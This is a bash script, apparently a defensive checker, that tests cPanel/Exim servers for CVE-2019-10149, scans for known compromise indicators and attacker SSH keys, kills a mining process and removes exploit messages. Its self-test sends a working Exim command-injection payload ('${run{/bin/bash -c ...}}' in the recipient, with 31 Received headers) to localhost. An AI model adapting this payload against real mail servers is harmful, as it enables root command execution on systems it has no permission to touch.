5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / eximioc.sh SH
#!/usr/bin/env bash
## quick and dirty way to check for indication of compromise.
## feel free to make it pretty.
## if expect and openssl are available, it also checks for local
## exploitation.
## For testing remote exploit, check out eximrce.py

#fail() { echo -e "$(tput setaf 196)$*$(tput setaf 255)"; }
fail() { printf '\e[1;91m%s\e[0m\n' "$1"; }
#warn() { echo -e "$(tput setaf 190)$*$(tput setaf 255)"; }
warn() { printf '\e[1;93m%s\e[0m\n' "$1"; }
#pass() { echo -e "$(tput setaf 82)$*$(tput setaf 255)"; }
pass() { printf '\e[1;92m%s\e[0m\n' "$1"; }
#info() { echo -e "$(tput setaf 14)$*$(tput setaf 255)"; }
info() { printf '\e[1;96m%s\e[0m\n' "$1"; }
#white() { echo -e "$(tput setaf 255)$*$(tput setaf 255)"; }
white() { printf '\e[1;97m%s\e[0m\n' "$1"; }

EXIMVER="$(rpm -q exim | grep exim)"
if [[ -z $EXIMVER ]]; then
    pass "Exim not installed....exiting."
    exit 1
else
    #warn "Exim version: $EXIMVER"
    echo "$EXIMVER" | grep -Eq 'exim-4.91-4.cp1170.x86_64|exim-4.92-1.cp1178.x86_64|exim-4.92-1.cp1180.x86_64' &&
        pass "Exim version is verified to be patched: $EXIMVER" ||
        fail "Exim version is out of date or unknown: $EXIMVER"

fi

CPTIER="$(cat /etc/cpupdate.conf | grep CPANEL | cut -f2 -d=)"
CPFREQ="$(cat /etc/cpupdate.conf | grep UPDATES | cut -f2 -d=)"
info "cPanel update tier $CPTIER, frequency $CPFREQ"
CPVER="$(cat /usr/local/cpanel/version)"
echo "$CPVER" | grep -Eq "11.70.0.69|11.76.0.22|11.78.0.27|11.80.0.[0-9]{1,2}" &&
    pass "cPanel version is verified to be patched: $CPVER" ||
    fail "cPanel version is out of date or unknown: $CPVER"

info "Running additional Exim and cPanel checks"
# Check for fatal errors during the upgrade
grep -q FATAL /var/cpanel/updatelogs/last &&
    fail "Fatal errors detected in /var/cpanel/updatelogs/last:" &&
    grep --color=never FATAL /var/cpanel/updatelogs/last ||
    pass "No fatal errors detected in /var/cpanel/updatelogs/last"
# Check for automatic updates
grep -q UPDATES=daily /etc/cpupdate.conf &&
    pass "Automatic updates are enabled in /etc/cpupdate.conf" ||
    (
        fail "Automatic updates are disabled in /etc/cpupdate.conf"
        grep --color=never ^UPDATES /etc/cpupdate.conf
    )

BADPROC=$(pgrep kthrotlds)
RETCODE="1"

echo -e "\n==================================\n"

vuln-check() {
    rm -f /root/lweximtest
    PORT=$(grep 'daemon_smtp_ports' /etc/exim.conf | awk '{print $3}')
    OUTPUT=$(
        expect <<EOF
    set timeout 1
    # 465 doesn't work with starttls
	if { $PORT == 465 } {
			spawn openssl s_client -connect localhost:$PORT -crlf -quiet
    } else {
			spawn openssl s_client -connect localhost:$PORT -crlf -quiet -starttls smtp
	}
	expect "220 "
	send "ehlo test.com\r"
	expect "250 "
	send "mail from:<>\r"
	expect "250 "
	send "rcpt to:root+\\\${run{\\\x2fbin\\\x2fbash\\\x20\\\x2dc\\\x20\\\x22touch\\\x20\\\x2froot\\\x2flweximtest\\\x22\\\x20\\\x26}}@localhost\r"
	expect "250 "
	send "DATA\r"
	expect "354 "
	send "Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31\r" 
	send ".\r"
	expect "250 "
	send "quit"
EOF
    )
    RETCODE=$?
    #echo "Expect's return value: $?"
    #echo "Expect output: $OUTPUT"
    #echo "return code: $RETCODE"
}

if [[ -x "$(command -v expect)" ]] && [[ -x "$(command -v openssl)" ]]; then
    vuln-check 2 &>/dev/null
fi

#info "Checking for indication of compromise. Files below failed RPM verification. Additional review required."

#rpmverify crontabs | grep '/etc/crontab'
#rpm -q bind &>/dev/null && rpmverify bind
#rpm -q ntp &>/dev/null && rpmverify ntp

echo -e "\n"
#info "Outputs (if present) below could indicate server is likely compromised. Additional review required."

declare -a ioc=("/.cache"
    "/root/.cache/.a"
    "/root/.cache/.favicon.ico"
    "/root/.cache/.kswapd"
    "/root/.cache/.sysud"
    "/etc/cron.d/root"
    "/etc/cron.monthly/cronlog"
    "/var/spool/cron/crontabs/root"
    "/usr/local/bin/nptd"
    "/root/.editorinfo")

for i in "${ioc[@]}"; do
    if [[ -e "$i" ]]; then
        warn "$i exists, contents below"
        for j in $i; do
            if [ -d $j ]; then
                ls -lartch $j
            else
                head -c 100 "$j"
                echo -e "\n"
            fi
        done
    fi
done

if [[ -s /lib/libgrubd.so ]]; then
    fail "WARNING: Found '/lib/libgrubd.so'! The server should be considered compromised"
elif [[ -f /lib/libgrubd.so ]]; then
    info "INFO: our mitigation for '/lib/libgrubd.so' is present"
fi

if [[ -s /etc/ld.so.preload ]]; then
    warn "WARNING: Found '/etc/ld.so.preload' Checking.."
    if [[ ! -z $(grep -l '/lib/libgrubd.so' /etc/ld.so.preload) ]]; then
        fail "WARNING: Found '/lib/libgrubd.so' in '/etc/ld.so.preload'! Server should be considered compromised."
    else
        warn "/etc/ld.so.preload does not contain libgrubd.so, check it anyway"
    fi
elif [[ -e /etc/ld.so.preload ]]; then
    info "INFO: our mitigation for '/lib/libgrubd.so' is present"
fi

## attacker key in authorized_keys, host is user@localhost
if [[ -f /root/.ssh/authorized_keys ]]; then
    BADKEY="$(cat /root/.ssh/authorized_keys | grep "Z5DrA76WH user@localhost")"
    ## if known key is found
    if [[ ! -z "$BADKEY" ]]; then
        fail "\nAttacker key exists"
        fail "$BADKEY\n"
    fi
    UNKNOWNKEY="$(cat /root/.ssh/authorized_keys | grep -v "Z5DrA76WH" | grep " user@localhost")"
    if [[ ! -z "$UNKNOWNKEY" ]]; then
        fail "\nUnknown bad ssh key found, please notify secteam"
        fail "$UNKNOWNKEY\n"
    fi
fi

## checking to see if process kthrotlds is running, and kill it.
if [[ ! -z "$BADPROC" ]]; then
    fail "kthrotlds mining process found....killing $BADPROC"
    kill -9 $BADPROC >/dev/null 2>&1
fi

info "Checking for possible local exploit"
if [[ "$RETCODE" == 0 ]]; then
    TESTID=$(grep -rail '${run.*lweximtest' /var/spool/exim/input/ |sed -e 's/^.*\/\([a-zA-Z0-9-]*\)-[DH]$/\1/g')
    for i in $TESTID; do
        # this is needed to make sure test message was ran, on slow servers.
        #info "Test message found, forcing delivery $i"
        exim -M $i >/dev/null 2>&1
        # removing the test message
        exim -Mrm $i >/dev/null 2>&1
    done
    if [[ -f /root/lweximtest ]]; then
        fail "SERVER IS VULNERABLE TO LOCAL EXIM CVE-2019-10149"
    else
        pass "Server is NOT vulnerable to local EXIM CVE-2019-10149"
    fi
else
    info "Check failed. Exim log may indicate why."
fi

# remove any message in queue that contains the exploit
info "Checking for exploit message in queue, wait..."
BADMSG=$(grep -rail '${run' /var/spool/exim/input/ |sed -e 's/^.*\/\([a-zA-Z0-9-]*\)-[DH]$/\1/g')
if [[ ! -z "$BADMSG" ]]; then
    for i in $BADMSG; do
        warn "Exploit message found: $i. Removing..."
        exim -Mrm $i >/dev/null 2>&1
    done
else
    info "No exploit message found in queue."
fi

# remove test file
rm -f /root/lweximtest